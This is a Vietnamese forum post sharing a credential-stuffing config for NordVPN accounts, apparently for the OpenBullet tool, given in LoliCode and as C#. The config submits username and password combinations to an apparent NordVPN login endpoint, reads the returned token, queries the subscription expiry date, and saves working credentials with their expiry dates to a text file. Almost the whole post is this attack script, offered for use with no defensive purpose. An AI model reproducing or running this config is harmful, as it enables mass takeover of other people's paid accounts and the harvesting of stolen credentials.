Chia sẻ:
Notifications
Clear all

Configs NordVPN

1 Bài viết
1 Thành viên
0 Reactions
612 Lượt xem
Unknown
(@admin)
Bài viết: 140
Unknown Admin
Topic starter
 

Link:

LoliCode

BLOCK:RandomUserAgent
  platform = Mobile
  => VAR @UserAgent
ENDBLOCK

BLOCK:HttpRequest
  url = "https://zwyr157wwiu6eior.com/v1/users/tokens"
  method = POST
  customHeaders = ${("User-Agent", "<UserAgent>"), ("Pragma", "no-cache"), ("Accept", "*/*")}
  TYPE:STANDARD
  $"username=<input.USER>&password=<input.PASS>"
  "application/x-www-form-urlencoded"
ENDBLOCK

BLOCK:Keycheck
  KEYCHAIN FAIL OR
    STRINGKEY @data.SOURCE Contains "\"errors\":"
  KEYCHAIN SUCCESS OR
    STRINGKEY @data.SOURCE Contains "\"token\":\""
  KEYCHAIN RETRY OR
    STRINGKEY @data.SOURCE Contains "<center>nginx</center>"
ENDBLOCK

BLOCK:Parse
  input = @data.SOURCE
  jToken = "token"
  MODE:Json
  => VAR @token
ENDBLOCK

BLOCK:Base64Encrypt
  Input = $"token:<token>"
  => VAR @tokenen
ENDBLOCK

BLOCK:HttpRequest
  url = "https://zwyr157wwiu6eior.com/v1/users/services"
  customHeaders = ${("User-Agent", "<UserAgent>"), ("Authorization", "Basic <tokenen>")}
  TYPE:STANDARD
  $""
  "application/x-www-form-urlencoded"
ENDBLOCK

BLOCK:Parse
  input = @data.SOURCE
  leftDelim = "\"expires_at\":\""
  rightDelim = " "
  MODE:LR
  => CAP @ex
ENDBLOCK

BLOCK:DateToUnixTime
  datetime = $"<ex>"
  format = "yyyy-MM-dd"
  => VAR @ToUnixTime
ENDBLOCK

BLOCK:CurrentUnixTime
  => VAR @UnixTime
ENDBLOCK

BLOCK:Keycheck
  KEYCHAIN CUSTOM OR
    INTKEY @UnixTime GreaterThan @ToUnixTime
  KEYCHAIN SUCCESS OR
    INTKEY @ToUnixTime GreaterThan @UnixTime
ENDBLOCK

BLOCK:FileAppendLines
  path = "NORD VPN.txt"
  lines = $["<input.USER>:<input.PASS> | NGÀY HẾT HẠN:<ex>"]
ENDBLOCK

C#

// BLOCK: Random User Agent
data.ExecutingBlock("Random User Agent");
string UserAgent = RandomUserAgent(data, RuriLib.Providers.UserAgents.UAPlatform.Mobile);

// BLOCK: Http Request
data.ExecutingBlock("Http Request");
await HttpRequestStandard(data, new StandardHttpRequestOptions{Content = $"username={input.USER}&password={input.PASS}", ContentType = "application/x-www-form-urlencoded", UrlEncodeContent = false, Url = "https://zwyr157wwiu6eior.com/v1/users/tokens", Method = RuriLib.Functions.Http.HttpMethod.POST, AutoRedirect = true, MaxNumberOfRedirects = 8, ReadResponseContent = true, AbsoluteUriInFirstLine = false, SecurityProtocol = RuriLib.Functions.Http.SecurityProtocol.SystemDefault, CustomCookies = new Dictionary<string, string>{}, CustomHeaders = new Dictionary<string, string>{{$"User-Agent", $"{UserAgent}"}, {$"Pragma", $"no-cache"}, {$"Accept", $"*/*"}}, TimeoutMilliseconds = 15000, HttpVersion = "1.1", CodePagesEncoding = "", AlwaysSendContent = false, UseCustomCipherSuites = false, CustomCipherSuites = new List<string>{"TLS_AES_128_GCM_SHA256", "TLS_CHACHA20_POLY1305_SHA256", "TLS_AES_256_GCM_SHA384", "TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256", "TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256", "TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256", "TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256", "TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384", "TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384", "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA", "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA", "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA", "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA", "TLS_RSA_WITH_AES_128_GCM_SHA256", "TLS_RSA_WITH_AES_256_GCM_SHA384", "TLS_RSA_WITH_AES_128_CBC_SHA", "TLS_RSA_WITH_AES_256_CBC_SHA", "TLS_RSA_WITH_3DES_EDE_CBC_SHA"}}).ConfigureAwait(false);

// BLOCK: Keycheck
data.ExecutingBlock("Keycheck");
if (CheckCondition(data, data.SOURCE.AsString(), StrComparison.Contains, "\"errors\":"))
{
    data.STATUS = "FAIL";
    return;
}
else if (CheckCondition(data, data.SOURCE.AsString(), StrComparison.Contains, "\"token\":\""))
{
    data.STATUS = "SUCCESS";
}
else if (CheckCondition(data, data.SOURCE.AsString(), StrComparison.Contains, "<center>nginx</center>"))
{
    data.STATUS = "RETRY";
    return;
}
else
{
    data.STATUS = "BAN";
    return;
}

if (CheckGlobalBanKeys(data))
{
    data.STATUS = "BAN";
    return;
}

if (CheckGlobalRetryKeys(data))
{
    data.STATUS = "RETRY";
    return;
}

// BLOCK: Parse
data.ExecutingBlock("Parse");
var token = QueryJsonToken(data, data.SOURCE.AsString(), "token", "", "", false);

// BLOCK: Base64 Encrypt
data.ExecutingBlock("Base64 Encrypt");
string tokenen = Base64Encrypt(data, $"token:{token}");

// BLOCK: Http Request
data.ExecutingBlock("Http Request");
await HttpRequestStandard(data, new StandardHttpRequestOptions{Content = $"", ContentType = "application/x-www-form-urlencoded", UrlEncodeContent = false, Url = "https://zwyr157wwiu6eior.com/v1/users/services", Method = RuriLib.Functions.Http.HttpMethod.GET, AutoRedirect = true, MaxNumberOfRedirects = 8, ReadResponseContent = true, AbsoluteUriInFirstLine = false, SecurityProtocol = RuriLib.Functions.Http.SecurityProtocol.SystemDefault, CustomCookies = new Dictionary<string, string>{}, CustomHeaders = new Dictionary<string, string>{{$"User-Agent", $"{UserAgent}"}, {$"Authorization", $"Basic {tokenen}"}}, TimeoutMilliseconds = 15000, HttpVersion = "1.1", CodePagesEncoding = "", AlwaysSendContent = false, UseCustomCipherSuites = false, CustomCipherSuites = new List<string>{"TLS_AES_128_GCM_SHA256", "TLS_CHACHA20_POLY1305_SHA256", "TLS_AES_256_GCM_SHA384", "TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256", "TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256", "TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256", "TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256", "TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384", "TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384", "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA", "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA", "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA", "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA", "TLS_RSA_WITH_AES_128_GCM_SHA256", "TLS_RSA_WITH_AES_256_GCM_SHA384", "TLS_RSA_WITH_AES_128_CBC_SHA", "TLS_RSA_WITH_AES_256_CBC_SHA", "TLS_RSA_WITH_3DES_EDE_CBC_SHA"}}).ConfigureAwait(false);

// BLOCK: Parse
data.ExecutingBlock("Parse");
var ex = ParseBetweenStrings(data, data.SOURCE.AsString(), "\"expires_at\":\"", " ", true, "", "", false);
data.MarkForCapture(nameof(ex));

// BLOCK: Date To Unix Time
data.ExecutingBlock("Date To Unix Time");
int ToUnixTime = DateToUnixTime(data, $"{ex}", "yyyy-MM-dd");

// BLOCK: Current Unix Time
data.ExecutingBlock("Current Unix Time");
int UnixTime = CurrentUnixTime(data, false);

// BLOCK: Keycheck
data.ExecutingBlock("Keycheck");
if (CheckCondition(data, UnixTime.AsInt(), NumComparison.GreaterThan, ToUnixTime.AsInt()))
{
    data.STATUS = "CUSTOM";
    return;
}
else if (CheckCondition(data, ToUnixTime.AsInt(), NumComparison.GreaterThan, UnixTime.AsInt()))
{
    data.STATUS = "SUCCESS";
}
else
{
    data.STATUS = "BAN";
    return;
}

if (CheckGlobalBanKeys(data))
{
    data.STATUS = "BAN";
    return;
}

if (CheckGlobalRetryKeys(data))
{
    data.STATUS = "RETRY";
    return;
}

// BLOCK: File Append Lines
data.ExecutingBlock("File Append Lines");
await FileAppendLines(data, "NORD VPN.txt", new List<string>{$"{input.USER}:{input.PASS} | NGÀY HẾT HẠN:{ex}"}, RuriLib.Blocks.Utility.Files.FileEncoding.UTF8).ConfigureAwait(false);

This topic was modified 2 năm trước 2 times by Unknown
 
Đã đăng : 07/01/2023 5:34 chiều
Thẻ chủ đề
Chia sẻ:
Lên đầu trang